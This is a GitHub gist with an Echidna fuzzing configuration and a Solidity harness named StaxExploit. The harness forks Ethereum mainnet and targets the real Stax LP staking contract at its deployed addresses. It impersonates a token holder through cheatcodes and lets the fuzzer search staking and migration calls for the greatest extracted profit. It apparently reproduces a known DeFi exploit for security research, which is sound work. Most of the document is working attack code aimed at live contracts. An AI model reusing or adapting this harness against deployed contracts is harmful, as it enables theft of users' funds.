Skip to content

Instantly share code, notes, and snippets.

@tuturu-tech
Last active July 23, 2023 19:45
Show Gist options
  • Save tuturu-tech/efbba5a57465c9e75f0ed0050bbc49ed to your computer and use it in GitHub Desktop.
Save tuturu-tech/efbba5a57465c9e75f0ed0050bbc49ed to your computer and use it in GitHub Desktop.
testMode: optimization
testLimit: 1000000
corpusDir: corpus-stax
rpcUrl: https://.../
rpcBlock: 15725066
// SPDX-License-Identifier: AGPLv3
pragma solidity ^0.8.0;
import "./HEVM.sol";
interface IStaxLP {
function supportsInterface(bytes4) external returns (bool);
function hasRole(bytes32, address) external returns (bool);
function getRoleAdmin(bytes32) external returns (bytes32);
function grantRole(bytes32, address) external;
function revokeRole(bytes32, address) external;
function renounceRole(bytes32, address) external;
function name() external returns (string memory);
function symbol() external returns (string memory);
function decimals() external returns (uint8);
function totalSupply() external returns (uint256);
function balanceOf(address) external returns (uint256);
function transfer(address, uint256) external returns (bool);
function allowance(address, address) external returns (uint256);
function approve(address, uint256) external returns (bool);
function transferFrom(address, address, uint256) external returns (bool);
function increaseAllowance(address, uint256) external returns (bool);
function decreaseAllowance(address, uint256) external returns (bool);
function owner() external returns (address);
function renounceOwnership() external;
function transferOwnership(address) external;
function mint(address, uint256) external;
function burn(address, uint256) external;
function addMinter(address) external;
function removeMinter(address) external;
function DEFAULT_ADMIN_ROLE() external returns (bytes32);
function CAN_MINT() external returns (bytes32);
}
interface IStaxLPStaking {
function owner() external returns (address);
function renounceOwnership() external;
function transferOwnership(address) external;
function setRewardDistributor(address) external;
function totalSupply() external returns (uint256);
function balanceOf(address) external returns (uint256);
function addReward(address) external;
function rewardPerToken(address) external returns (uint256);
function rewardPeriodFinish(address) external returns (uint40);
function earned(address, address) external returns (uint256);
function stake(uint256) external;
function stakeAll() external;
function stakeFor(address, uint256) external;
function withdraw(uint256, bool) external;
function withdrawAll(bool) external;
function getRewards(address) external;
function getReward(address, address) external;
function notifyRewardAmount(address, uint256) external;
function setMigrator(address) external;
function migrateStake(address, uint256) external;
function migrateWithdraw(address, uint256) external;
function stakingToken() external returns (address);
function rewardDistributor() external returns (address);
function DURATION() external returns (uint256);
function rewardTokens(uint256) external returns (address);
function rewardData(address) external returns (Reward memory);
function claimableRewards(address, address) external returns (uint256);
function userRewardPerTokenPaid(
address,
address
) external returns (uint256);
function migrator() external returns (address);
}
struct Reward {
uint40 periodFinish;
uint216 rewardRate;
uint40 lastUpdateTime;
uint216 rewardPerTokenStored;
}
contract StaxExploit {
IStaxLP StaxLP = IStaxLP(0xBcB8b7FC9197fEDa75C101fA69d3211b5a30dCD9);
IStaxLPStaking StaxLPStaking =
IStaxLPStaking(0xd2869042E12a3506100af1D192b5b04D65137941);
uint256 initialAmount;
address tokenHolder;
constructor() {
hevm.warp(1665493703);
hevm.roll(15725066);
tokenHolder = address(0xeCb456EA5365865EbAb8a2661B0c503410e9B347);
initialAmount = StaxLP.balanceOf(tokenHolder);
hevm.prank(tokenHolder);
StaxLP.transfer(address(this), initialAmount);
require(
StaxLP.balanceOf(address(this)) > 0,
"Zero balance in the contract, perhaps transfer failed?"
);
initialAmount = StaxLP.balanceOf(address(this));
StaxLP.approve(address(StaxLPStaking), type(uint256).max);
}
function stake(uint256 _amount) public {
StaxLPStaking.stake(_amount);
}
function stakeAll() public {
StaxLPStaking.stakeAll();
}
function stakeFor(address _for, uint256 _amount) public {
StaxLPStaking.stakeFor(_for, _amount);
}
function withdraw(uint256 amount, bool claim) public {
StaxLPStaking.withdraw(amount, claim);
}
function withdrawAll(bool claim) public {
StaxLPStaking.withdrawAll(claim);
}
function getRewards(address staker) public {
StaxLPStaking.getRewards(staker);
}
function getReward(
address staker,
address rewardToken
) public {
StaxLPStaking.getReward(staker, rewardToken);
}
function notifyRewardAmount(
address _rewardsToken,
uint256 _amount
) public {
StaxLPStaking.notifyRewardAmount(_rewardsToken, _amount);
}
function migrateStake(
address oldStaking,
uint256 amount
) public {
StaxLPStaking.migrateStake(oldStaking, amount);
}
function migrateWithdraw(
address staker,
uint256 amount
) public {
StaxLPStaking.migrateWithdraw(staker, amount);
}
fallback() external payable {}
function echidna_optimize_extracted_profit() public returns (int256) {
return (int256(StaxLP.balanceOf(address(this))) -
int256(initialAmount));
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment